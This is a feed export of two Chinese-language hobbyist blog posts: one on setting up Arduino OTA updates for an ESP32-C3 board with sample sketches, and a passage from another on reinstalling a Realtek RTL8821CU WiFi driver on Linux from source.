</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-58479998406497213282023-11-18T13:04:00.002+08:002023-11-18T13:04:56.391+08:00透過 OTA 技術更新微控制器<div>一般具備巨集功能的鍵盤,能夠經過 USB 連接到電腦,並使用指定軟件升級或更新功能<br/>
最近在工作上測試一個無線鍵盤,這個無線鍵盤不是使用 USB ,而是使用 WiFi 連接便可以更新按鍵的功能<br/>
在下發現 Arduino 提供一種稱為 Arduino OTA 的供能,能讓 Sketch 經過 WiFi 更新開發板<br/>
因此測試其效果及注意地方</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#ArduinoOTA測試">Arduino OTA 測試</a>
<ul>
<li><a href="#ArduinoOTA測試使用存取點">使用存取點</a></li>
<li><a href="#ArduinoOTA測試使用無線網絡">使用無線網絡</a></li>
</ul>
</li>
<li><a href="#更新ArduinoOTA裝置">更新 Arduino OTA 裝置</a>
<li><a href="#使用WiFiManager">使用 WiFiManager</a>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<div>OTA 即是 Over The Air ,即是不需要透過線路的方式來更新</div>
<br/>
<a name="ArduinoOTA測試"></a><h4 class="mra-h4">Arduino OTA 測試</h4>
<div>由於在下沒有直接具備 WiFi 功能的 Arduino 開發板<br/>
因此以 LuatOS ESP32-C3 來測試 Arduino OTA 功能</div>
<br/>
<div>要實作 Arduino OTA 功能,需要在 Arduino 的 Sketch 中導入 <span class="mra-highlighter">ArduinoOTA.h</span><br/>
並在 <span class="mra-highlighter">setup()</span> 及 <span class="mra-highlighter">loop()</span> 中,分別執行 <span class="mra-highlighter">ArduinoOTA.begin()</span> 及 <span class="mra-highlighter">ArduinoOTA.handle()</span><br/>
但由於需要透過 WiFi 達成效果,因此還需要使用 <span class="mra-highlighter">WiFi.h</span></div>
<br/>
<a name="ArduinoOTA測試使用存取點"></a><h5 class="mra-h5">使用存取點</h5>
<div>如果附近沒有能夠存取的無線網絡,可以讓 Arduino OTA 裝置成為 存取點 ,讓其他裝置連接</div>
<pre class="brush:cpp">#include <WiFi.h>
#include <ArduinoOTA.h>
void setup() {
setupOTA();
}
void loop() {
loopOTA();
}
void setupOTA() {
WiFi.mode(WIFI_AP);
WiFi.softAP("LuatOS ESP32-C3 AP", "12345678");
ArduinoOTA.begin();
}
void loopOTA() {
ArduinoOTA.handle();
delay(1);
}</pre>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBCcb5SK3Q0HbA-qudlBCmf5CXDA7tfNwbVaszCGuZXdVwdYDZhuzEsS6wi3g8bv2ePJIr4nPVEA5oIvSx85VI-kocN_big0erXSiOOmyLDZt0FK_7QBznisQuVt-2XT7ZbN_q3odcU8oooYU5QUQxfw9l4HZf1hfQPOcqa6xXmxDDRx14QWGsxLB_u8Y/w0/arduino-ota-001.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBCcb5SK3Q0HbA-qudlBCmf5CXDA7tfNwbVaszCGuZXdVwdYDZhuzEsS6wi3g8bv2ePJIr4nPVEA5oIvSx85VI-kocN_big0erXSiOOmyLDZt0FK_7QBznisQuVt-2XT7ZbN_q3odcU8oooYU5QUQxfw9l4HZf1hfQPOcqa6xXmxDDRx14QWGsxLB_u8Y/w600/arduino-ota-001.png"/></a></div>
<div>編譯 Arduino OTA 功能後,顯示需要使用大約 <span class="mra-highlighter">726924 Byte</span> ,大約 <span class="mra-highlighter">710 KiB</span> 的空間<br/>
因此 Arduino OTA 裝置建議最少要有 <span class="mra-highlighter">1 MiB</span> 的空間上載 Arduino OTA 功能及程式效果</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyw9l6gdrGaseltRLuRec0Hl-rMOsGVA1BvtDZ5DOAssVFW2sdWca1XW3IIlJIt-FYB06x_wFU-NTtAXMI-mgv4BY7D_G5Xa5OpVRaW4lWlQOOBiaq2BAZic4qR6M5OtDEk0HThHyBwyaieuNMJiB16ov6_bhx0aaTPvqlDqDe9TPHUb9GwR24QCzYxlA/w0/arduino-ota-002.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyw9l6gdrGaseltRLuRec0Hl-rMOsGVA1BvtDZ5DOAssVFW2sdWca1XW3IIlJIt-FYB06x_wFU-NTtAXMI-mgv4BY7D_G5Xa5OpVRaW4lWlQOOBiaq2BAZic4qR6M5OtDEk0HThHyBwyaieuNMJiB16ov6_bhx0aaTPvqlDqDe9TPHUb9GwR24QCzYxlA/w600/arduino-ota-002.png"/></a></div>
<div>將 Arduino OTA 功能上載到 LuatOS ESP32-C3</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLONBBdVenkavEV3wVb-OtLj3j89-iN6ihWgpDbMPZpPQqJrG1kMb2PdJKaIrIqfVtj2BHdcwlhUZp0Fme6W3B7wIqUbnb3Tvcp7WPQFXPwh_0OPxw4LFPqqDT6gZBKIF1W5LTDV0fHvOnlO06IoqetK1BX0e0r-17dUa53jTJza-dw74ZqFLJ11cCaY0/w0/arduino-ota-003.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLONBBdVenkavEV3wVb-OtLj3j89-iN6ihWgpDbMPZpPQqJrG1kMb2PdJKaIrIqfVtj2BHdcwlhUZp0Fme6W3B7wIqUbnb3Tvcp7WPQFXPwh_0OPxw4LFPqqDT6gZBKIF1W5LTDV0fHvOnlO06IoqetK1BX0e0r-17dUa53jTJza-dw74ZqFLJ11cCaY0/w600/arduino-ota-003.png"/></a></div>
<div>當 LuatOS ESP32-C3 啟動存取點後,便可以讓其他裝置經由 WiFi 連接</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvarGNiVQOgUGv92ZwOjnyWZNq-sLLaVDPGwtipN-V73_Blfq-95m6KqS4fK-L_MZ7_4r9WkkuC5-lxUaCFwHWf96-aka1YvJsSDpc_tx1CEOi16wvCX1o7ui0XhmDvbfmZbJiKT4fLnY2TV2OPJfklkc_g2kQg9a5kTkmqdlyOO8BOOeoHFwiAu_b7xs/w0/arduino-ota-004.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvarGNiVQOgUGv92ZwOjnyWZNq-sLLaVDPGwtipN-V73_Blfq-95m6KqS4fK-L_MZ7_4r9WkkuC5-lxUaCFwHWf96-aka1YvJsSDpc_tx1CEOi16wvCX1o7ui0XhmDvbfmZbJiKT4fLnY2TV2OPJfklkc_g2kQg9a5kTkmqdlyOO8BOOeoHFwiAu_b7xs/w600/arduino-ota-004.png"/></a></div>
<div>連接到 LuatOS ESP32-C3 存取點</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7WcrI3oUtN1gNq42rKjP3sfg6dNcaGdXOCRE_YTAvOZcxIaE2ARjSDJkaImXEIntsV1O1KeeHUqPzCFTV4VsV5Pb8e9jfDkMYXLe_RyxtjtBteyJRLQVMsSe7q-UPOLJyhMrDuBz5AjFpYfcuCayFCryQjg6b2gVkxl0mI2uCUbB3jMragBvaHBzgVLE/w0/arduino-ota-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7WcrI3oUtN1gNq42rKjP3sfg6dNcaGdXOCRE_YTAvOZcxIaE2ARjSDJkaImXEIntsV1O1KeeHUqPzCFTV4VsV5Pb8e9jfDkMYXLe_RyxtjtBteyJRLQVMsSe7q-UPOLJyhMrDuBz5AjFpYfcuCayFCryQjg6b2gVkxl0mI2uCUbB3jMragBvaHBzgVLE/w600/arduino-ota-005.png"/></a></div>
<div>當連接到 LuatOS ESP32-C3 存取點後,由於 與 Arduino OTA 裝置在相同網絡<br/>
因此 Arduino IDE 的 Port選項 中,會增加 Network ports ,並顯示 Arduino OTA 裝置的 <span class="mra-highlighter">IP 資訊</span></div>
<br/>
<a name="ArduinoOTA測試使用無線網絡"></a><h5 class="mra-h5">使用無線網絡</h5>
<div>除了將 Arduino OTA 裝置成為存取點來讓其他裝置經 WiFi 更新開發板外<br/>
亦可以讓 Arduino OTA 裝置連接到無線網絡來實現 Arduino OTA 功能</div>
<pre class="brush:cpp">#include <WiFi.h>
#include <ArduinoOTA.h>
#include "wifi_config.h"
void setup() {
setupOTA();
}
void loop() {
loopOTA();
}
void setupOTA() {
WiFi.mode(WIFI_STA);
WiFi.begin(WIFI_SSID, WIFI_PASSWORD);
while (WiFi.status() != WL_CONNECTED) {
delay(100);
}
ArduinoOTA.begin();
}
void loopOTA() {
ArduinoOTA.handle();
delay(1);
}</pre>
<div>程式碼的 <span class="mra-highlighter">wifi_config.h</span> 是自訂檔案,保存 <span class="mra-highlighter">WIFI_SSID</span> 及 <span class="mra-highlighter">WIFI_PASSWORD</span><br/>
WIFI_SSID 及 WIFI_PASSWORD 亦分別保存在下的 <span class="mra-highlighter">WiFi SSID</span> 及 <span class="mra-highlighter">WiFi 密碼</span><br/>
在下只是避免將真實 SSID 及 密碼 貼上,因此在主程式中導入 WiFi 設定檔,分享程式碼亦比較安全<br/>
閣下不一定使用這種方式設定 SSID 及 密碼</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBRzOPI3cuc64Z1dj6FkOPnlU4wZARahZXqW7_8m5-DXoWkyYHs8lR59WQQlnq0bFOg6m_d491U1kmJ8Q1fBbIt2qD3HRiJysMb85vxtJFWGgch4WIw9tijT7CtisvIS9IJnWn9-CnO6k-4SEgZiN2YVo2W0BHNTEAmMmLioJEk9kaG41VQ_01Aw02txU/w0/arduino-ota-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBRzOPI3cuc64Z1dj6FkOPnlU4wZARahZXqW7_8m5-DXoWkyYHs8lR59WQQlnq0bFOg6m_d491U1kmJ8Q1fBbIt2qD3HRiJysMb85vxtJFWGgch4WIw9tijT7CtisvIS9IJnWn9-CnO6k-4SEgZiN2YVo2W0BHNTEAmMmLioJEk9kaG41VQ_01Aw02txU/w600/arduino-ota-006.png"/></a></div>
<div>當 Sketch 經 Arduino OTA 功能上載到 LuatOS ESP32-C3 時,會顯示以 IP 連接及上載</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8e0EZ-KjCqKrWqyw2e773-iULjdM_O14AgefzTvTHBKW_TtjAbJmHPTg5x5hICYUrQTGTZ29ur9ZQ4D34iR04i5GnVXk4SeNi8aFhLJWT8TsDFzVDpul_G2lciMuLwB3IS443l_UT0JSh7e5NBJk4zseG0VG5ooSVCaV61ebMn7BwhJXxnMLRMZE_VbU/w0/arduino-ota-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8e0EZ-KjCqKrWqyw2e773-iULjdM_O14AgefzTvTHBKW_TtjAbJmHPTg5x5hICYUrQTGTZ29ur9ZQ4D34iR04i5GnVXk4SeNi8aFhLJWT8TsDFzVDpul_G2lciMuLwB3IS443l_UT0JSh7e5NBJk4zseG0VG5ooSVCaV61ebMn7BwhJXxnMLRMZE_VbU/w600/arduino-ota-007.png"/></a></div>
<div>讓 LuatOS ESP32-C3 連接到其他 無線網絡 時,Arduino IDE 即時更新偵測到的 Arduino OTA 裝置<br/>
但只會增加新的 Network ports ,但失效的 Arduino OTA 裝置則不會移除<br/>
需要重新啟動 Arduino IDE 才會重新整理 Network ports 清單<br/>
而 Arduino IDE 2.x 則會將失效的 Arduino OTA 移除,避免選擇失效的 Arduino OTA 裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS33pAD-DMZ1O_PYmr8RzEA893AiPlc_PtNhw5_NcKlc2RMJDhhW7VztozHiCKSbnFx52iIPoEguNlAqT9O4HW29wEyB97jVTbhgWuPmNxCrGOOLCfdP_eY4ecCkxohLBXgFcbJxgb9h56NOFyOPRWy-nDk9v9PCdA5d_UWvBjp0IQo1rL-DVeQvqMAIM/w0/arduino-ota-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS33pAD-DMZ1O_PYmr8RzEA893AiPlc_PtNhw5_NcKlc2RMJDhhW7VztozHiCKSbnFx52iIPoEguNlAqT9O4HW29wEyB97jVTbhgWuPmNxCrGOOLCfdP_eY4ecCkxohLBXgFcbJxgb9h56NOFyOPRWy-nDk9v9PCdA5d_UWvBjp0IQo1rL-DVeQvqMAIM/w600/arduino-ota-009.png"/></a></div>
<div>如果 Network ports 選擇失效的 Arduino OTA 裝置,上載時會因為找不到目標而出錯<br/>
而逾時時間為 <span class="mra-highlighter">100秒</span></div>
<br/>
<a name="更新ArduinoOTA裝置"></a><h4 class="mra-h4">更新 Arduino OTA 裝置</h4>
<div>Arduino OTA 功能只是 Sketch 中的其中一部分程式碼,並不會將開發板永久改變成具備 Arduino OTA 的裝置<br/>
因此每次更新開發板時,如果仍然需要保留 Arduino OTA 功能,需要每次都要加入 Arduino OTA 的程式碼<br/>
所以在下先前才會提示附加 Arduino OTA 功能後所佔據的空間</div>
<br/>
<div>如果更新開發板時,沒有入加 Arduino OTA 功能,開發板便需要使用線路方法更新</div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXkv_NZx0azsX212jgNwAg8hbVDWGY1UumdG9322HGxvNMU7YtTYhctzW7PPypa-eC0Q-w2MDeY4Bx8_-jDfhN7g-ONMPYIlORxghQywkVLOCCuDuyblU1QJfZ07yKKv1dd0AzBagY3D-7Ttx5gDabnC9U7uP2DQZ3HE0mumNfwJTTmlSBmlZLTpXGLFg/w0/arduino-ota-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXkv_NZx0azsX212jgNwAg8hbVDWGY1UumdG9322HGxvNMU7YtTYhctzW7PPypa-eC0Q-w2MDeY4Bx8_-jDfhN7g-ONMPYIlORxghQywkVLOCCuDuyblU1QJfZ07yKKv1dd0AzBagY3D-7Ttx5gDabnC9U7uP2DQZ3HE0mumNfwJTTmlSBmlZLTpXGLFg/w600/arduino-ota-008.png"/></a></div>
<pre class="brush:cpp">#include <WiFi.h>
#include <ArduinoOTA.h>
#include "wifi_config.h"
const byte PROGMEM POW = 12;
const byte PROGMEM SIG = 13;
const byte PROGMEM BTN = 9;
void setup() {
pinMode(POW, OUTPUT);
pinMode(SIG, OUTPUT);
pinMode(BTN, INPUT_PULLUP);
setupOTA();
}
void loop() {
digitalWrite(SIG, !digitalRead(BTN));
loopOTA();
}
void setupOTA() {
digitalWrite(POW, HIGH);
digitalWrite(SIG, HIGH);
WiFi.mode(WIFI_STA);
WiFi.begin(WIFI_SSID, WIFI_PASSWORD);
while (WiFi.status() != WL_CONNECTED) {
delay(100);
digitalWrite(SIG, !digitalRead(SIG));
}
digitalWrite(SIG, LOW);
ArduinoOTA.begin();
}
void loopOTA() {
ArduinoOTA.handle();
delay(1);
}</pre>
<div>程式效果並不重要,最重要是使用 Arduino OTA 功能時,必須每次都要載入 Arduino OTA 的程式<br/>
因此在下將 ArduinoOTA.begin() 及 ArduinoOTA.handle() 分配到對應功能中<br/>
方便在 setup() 及 loop() 呼叫 Arduino OTA 相關功能</div>
<br/>
<a name="使用WiFiManager"></a><h4 class="mra-h4">使用 WiFiManager</h4>
<div>使用 存取點 最大限制是必須連接到 Arduino OTA 裝罝才能使用<br/>
由於 Arduino OTA 裝置的存取點無法連接到互聯網功能,因此連接的裝置必須暫停互聯網功能,才能更新 Arduino OTA 裝置</div>
<br/>
<div>使用 無線網絡 則需要將 SSID 及 密碼 直接寫到 Sketch 中,限制非常大及不安全</div>
<br/>
<div>因此在下嘗試曾經使用的 WiFiManager<br/>
先連接到 Arduino OTA 裝置的網絡後,控制 Arduino OTA 裝置連接其他無線網絡<br/>
既能讓 Arduino OTA 裝置成為存取點,亦能讓 Arduino OTA 裝置連接到無線網絡<br/>
最重要是不需要將 SSID 及 密碼,避免洩漏重要資料</div>
<pre class="brush:cpp">#include <WiFi.h>
#include <ArduinoOTA.h>
#include <WiFiManager.h>
bool connected = false;
const byte PROGMEM POW = 12;
const byte PROGMEM SIG = 13;
const byte PROGMEM BTN = 9;
void setup() {
WiFiManager wm;
wm.resetSettings();
connected = wm.autoConnect("LuatOS ESP32-C3 AP", "12345678");
if (connected) {
pinMode(POW, OUTPUT);
pinMode(SIG, OUTPUT);
pinMode(BTN, INPUT_PULLUP);
}
setupOTA();
}
void loop() {
if (connected) {
digitalWrite(SIG, !digitalRead(BTN));
}
loopOTA();
}
void setupOTA() {
digitalWrite(POW, HIGH);
digitalWrite(SIG, LOW);
ArduinoOTA.begin();
}
void loopOTA() {
ArduinoOTA.handle();
delay(1);
}</pre>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuz-HxnZo2GgSHATH1ioBWmv4377w-XkXvACds8yA1QpuBB9fCtwpzaCFDI7TlP-H_GFNVNM4iL2PfFLTplrzrIAUA2KHCqugo2tFd7AoTfH72ccBnP-TcWZiuCtTIeUqi3w_dXl7iVxKRnbkV7CRDO-p2hl0JsTG4LaNdjCNVJfl9M__4SyiLfA4BPkM/w0/arduino-ota-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuz-HxnZo2GgSHATH1ioBWmv4377w-XkXvACds8yA1QpuBB9fCtwpzaCFDI7TlP-H_GFNVNM4iL2PfFLTplrzrIAUA2KHCqugo2tFd7AoTfH72ccBnP-TcWZiuCtTIeUqi3w_dXl7iVxKRnbkV7CRDO-p2hl0JsTG4LaNdjCNVJfl9M__4SyiLfA4BPkM/w600/arduino-ota-010.png"/></a></div>
<div>使用 ArduinoOTA 及 WiFiManager 合共需要 <span class="mra-highlighter">840806 byte</span> , 大約 <span class="mra-highlighter">822 KiB</span> ,仍能保持 1 MiB 之內</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>以 OTA 方式更新並非新技術,現今大部分 智能電子產品 都使用 OTA 方式更新<br/>
OTA 不需要連接線路來更新雖然方便,但需要確保 更新的裝置的電量充足<br/>
否則更新途中失去電源,不單上載失敗,甚至還有機會損壞微控制器</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://github.com/JAndrassy/ArduinoOTA">ArduinoOTA @ GitHub</a></li>
<li><a href="https://www.arduino.cc/reference/en/libraries/arduinoota/">ArduinoOTA @ arduino.cc</a></li>
<li><a href="https://randomnerdtutorials.com/esp8266-ota-updates-with-arduino-ide-over-the-air/">ESP8266 OTA Updates @ Random Nerd Tutorials</a></li>
<li><a href="https://randomnerdtutorials.com/esp32-over-the-air-ota-programming/">ESP32 OTA Programming @ Random Nerd Tutorials</a></li>
<li><a href="https://www.programmingelectronics.com/arduinoota/">ArduinoOTA @ Programming Electronics Academy</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-45458556761933791872023-11-18T12:58:00.000+08:002023-11-18T12:58:02.674+08:00手動重新安裝 WiFi USB 的驅動程式<p>在下其中一位朋友,由於購買了一部新電腦,但使用速度非常慢,都想嘗試使用 Linux<br/>
但在 Live Boot 的進度卻無法完成,並且出現一些疑似錯誤的訊息,因此向在下查詢<br/>
最後發現自己類似的裝置都有相同問題,因此尋找解決方法</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#WiFiUSB外觀">WiFi USB 外觀</a></li>
<li><a href="#故障情況">故障情況</a></li>
<li><a href="#安裝驅動程式">安裝驅動程式</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="WiFiUSB外觀"></a><h4 class="mra-h4">WiFi USB 外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRGqpntrTYJM330k_ACA1tLcv9TMTMK8L6LSp-P2jabxLyuDnxqghnljAxndzilNJS_0UFjh-HALYEobq09mirDQ0u-ORM-5sM7xqqu_QsPai9G09mfnPNCEMuDIhkPRsYQtR3n7SbGTUfi_XY1JlebU_Tt2KFvtaYmmjswKQBh6QpYx8ZQOUry3KSd-0/w0/manual-reinstall-rtl8821cu-driver-013.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRGqpntrTYJM330k_ACA1tLcv9TMTMK8L6LSp-P2jabxLyuDnxqghnljAxndzilNJS_0UFjh-HALYEobq09mirDQ0u-ORM-5sM7xqqu_QsPai9G09mfnPNCEMuDIhkPRsYQtR3n7SbGTUfi_XY1JlebU_Tt2KFvtaYmmjswKQBh6QpYx8ZQOUry3KSd-0/w600/manual-reinstall-rtl8821cu-driver-013.jpg"/></a></div>
<p>一支細小的 USB裝置,支援 WiFi 及 藍牙</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw-LkYXSL2LvgLacjzFjRQR23GzTPnB8NBvLnqlumVgbqw2csHFWIeiBrsN5CwIdBwqWmAQR74HN6W0KWO_cjCwJA8wik-kxMFLEBZyogl05UT2PaOqQy5ROo-gRyMmdKsjPQaIwZo_3UeWefpgu5Iv9TCUsSAJ8J7_2skTlMg0hCoGMIJyPI7rRK3KeU/w0/manual-reinstall-rtl8821cu-driver-014.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw-LkYXSL2LvgLacjzFjRQR23GzTPnB8NBvLnqlumVgbqw2csHFWIeiBrsN5CwIdBwqWmAQR74HN6W0KWO_cjCwJA8wik-kxMFLEBZyogl05UT2PaOqQy5ROo-gRyMmdKsjPQaIwZo_3UeWefpgu5Iv9TCUsSAJ8J7_2skTlMg0hCoGMIJyPI7rRK3KeU/w600/manual-reinstall-rtl8821cu-driver-014.jpg"/></a></div>
<p>使用 Realtek 的 <span class="mra-highlighter">RTL8821CU晶片</span></p>
<a name="故障情況"></a><h4 class="mra-h4">故障情況</h4>
<p>最初使用時,不需要安裝及額外操作便能夠隨插即用<br/>
但最近在連接後,電腦雖然能夠偵測 WiFi 及 藍牙訊號,但卻無法 以WiFi連接 及 以藍牙配對裝置</p>
<div>在下打算重新開機後便會正常運作,但起動時卻出現了</div>
<pre class="brush:bash">usb 1-6: reset high-speed USB device number 4 using xhci-hcd</pre>
<p>的錯誤訊息,而且載入進度無法完成,但拔除 USB裝置 後,便正常載入<br/>
估計是起動時,系統找到 USB裝置,但無法辨識,因此不斷嘗試導致載入進度無法完成</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHzaL9TePac-ULc7804Kv0WlBP8FP1Do9rFXN-C220gej-3w7uDtmssEA8Pv39TAm-MccQ3yvFVqUWI0GrD2C8GhShFBI0e-LFavRpTZesvuOnQECBj4yQMncuJMp0G87MWazhMphA_2hDuYWIq2YZUQksY8-98GxJM03smVl8mnEKsFx7Le6DeSawaJo/w0/manual-reinstall-rtl8821cu-driver-001.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHzaL9TePac-ULc7804Kv0WlBP8FP1Do9rFXN-C220gej-3w7uDtmssEA8Pv39TAm-MccQ3yvFVqUWI0GrD2C8GhShFBI0e-LFavRpTZesvuOnQECBj4yQMncuJMp0G87MWazhMphA_2hDuYWIq2YZUQksY8-98GxJM03smVl8mnEKsFx7Le6DeSawaJo/w600/manual-reinstall-rtl8821cu-driver-001.png"/></a></div>
<div>拔除 USB裝置 起動後,再次接駁 USB裝置 ,在 Terminal 輸入:</div>
<pre class="brush:bash">lsusb -t</pre>
<p>顯示 USB裝置 正在使用 <span class="mra-highlighter">rtw_8821cu</span> 驅動程式,而不是 rtl8821cu<br/>
看似是因為使用錯誤的驅動程式導致無法正常運作</p>
<a name="安裝驅動程式"></a><h4 class="mra-h4">安裝驅動程式</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjam4OtTAkqDLy3oZNb2uUTyb9sFerT2Lxq5ibKjV5moj4NS_6Rd-ru13KCVjcdPyjn02jqPGfNlKJkCfaU2ADKhIx4JUPy7SfNQGghvGZJjTzAwr2nin-C7mTvWMOAwBdguJXRlS6GbvIr2ANj46WOcAh-eA7LcFy0faJgzbI2cDQ7uL6LmJU9Cv459WU/w0/manual-reinstall-rtl8821cu-driver-002.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjam4OtTAkqDLy3oZNb2uUTyb9sFerT2Lxq5ibKjV5moj4NS_6Rd-ru13KCVjcdPyjn02jqPGfNlKJkCfaU2ADKhIx4JUPy7SfNQGghvGZJjTzAwr2nin-C7mTvWMOAwBdguJXRlS6GbvIr2ANj46WOcAh-eA7LcFy0faJgzbI2cDQ7uL6LmJU9Cv459WU/w600/manual-reinstall-rtl8821cu-driver-002.png"/></a></div>
<p>從網上查找資料後,需要重新安裝驅動程式<br/>
到 <a href="https://codeload.github.com/morrownr/8821cu-20210916/zip/refs/heads/main">https://codeload.github.com/morrownr/8821cu-20210916/zip/refs/heads/main</a><br/>
下載 驅動程式原始碼,並編譯及安裝才能正確使用</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-ZSUKGn4NZUtVY7ktQiQAZFImIvxYqlURzWxjJyAwnVcl5R0bDJE9wnItOHDt3qm95Z6DKVIZQLYXxdL0eqGU_dSFxOB7Ll2TUEwyomWbPxWBdts1Xujlp9A1GgeMtzSc8W5xt_vBVu23-FSYfKCAGj8vJbUT1H2XuZCaL-Bywer6PZbrtIoBmyzZo0/w0/manual-reinstall-rtl8821cu-driver-003.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-ZSUKGn4NZUtVY7ktQiQAZFImIvxYqlURzWxjJyAwnVcl5R0bDJE9wnItOHDt3qm95Z6DKVIZQLYXxdL0eqGU_dSFxOB7Ll2TUEwyomWbPxWBdts1Xujlp9A1GgeMtzSc8W5xt_vBVu23-FSYfKCAGj8vJbUT1H2XuZCaL-Bywer6PZbrtIoBmyzZo0/w600/manual-reinstall-rtl8821cu-driver-003.png"/></a></div>
<p>將 zip檔案 解壓縮</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWNhJe0F-oKzO_S28FrU9Ayo_GxwwSg6O25IoRl1KKG5cb8-ueJ2YSaPhc2zLC9AiJxWRJOnD1_F-zrPSLCizQC3hTTR3nlDtIvgVmZP33vnXXi8WGyplXvH5PV-rPJ33qu9YXRnI5CoIdomOZk6kWxOH6qfwVolaY3lTeaJt65waWA4Oliq1GKoGcMMA/w0/manual-reinstall-rtl8821cu-driver-004.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWNhJe0F-oKzO_S28FrU9Ayo_GxwwSg6O25IoRl1KKG5cb8-ueJ2YSaPhc2zLC9AiJxWRJOnD1_F-zrPSLCizQC3hTTR3nlDtIvgVmZP33vnXXi8WGyplXvH5PV-rPJ33qu9YXRnI5CoIdomOZk6kWxOH6qfwVolaY3lTeaJt65waWA4Oliq1GKoGcMMA/w600/manual-reinstall-rtl8821cu-driver-004.png"/></a></div>
<p>雖然需要由原始碼編譯及安裝,但目錄中已經包含自動編譯及安裝的腳本,因此只需要執行該腳本程式即可完成<br/>
不過在安裝 驅動程式 前需要安裝 <a href="apt:build-essential">build-essential</a> 及 <a href="apt:dkms">dkms</a><br/>
在 Terminal 輸入:</p>
<pre class="brush:bash">sudo apt install build-essential dkms</pre>
<p>安裝 build-essential 及 dkms</p>
<p>然後在驅動程式原始碼的目錄 輸入:</p>
<pre class="brush:bash">sudo bash "install-driver.sh"</pre>
<p>(必須使用 root 或 sudo)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPDNECJQ-rrxrV7hYaBvEp1rG5p7zvCroqE1YJhmnExpAYnMbtYDiMysN84NLG3zU1cOwHgiXzuBYsjfvgg2Y377W4b0RW1oG4vWqem_S1EczK6TwVZ_crvd7Vha-1SOee5b0PXTihbzUzOtFCYAmAzHt1RN2xQf2GkhZxfeQ0YTCt-_ylkqg9kOUrAmM/w0/manual-reinstall-rtl8821cu-driver-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPDNECJQ-rrxrV7hYaBvEp1rG5p7zvCroqE1YJhmnExpAYnMbtYDiMysN84NLG3zU1cOwHgiXzuBYsjfvgg2Y377W4b0RW1oG4vWqem_S1EczK6TwVZ_crvd7Vha-1SOee5b0PXTihbzUzOtFCYAmAzHt1RN2xQf2GkhZxfeQ0YTCt-_ylkqg9kOUrAmM/w600/manual-reinstall-rtl8821cu-driver-005.png"/></a></div>
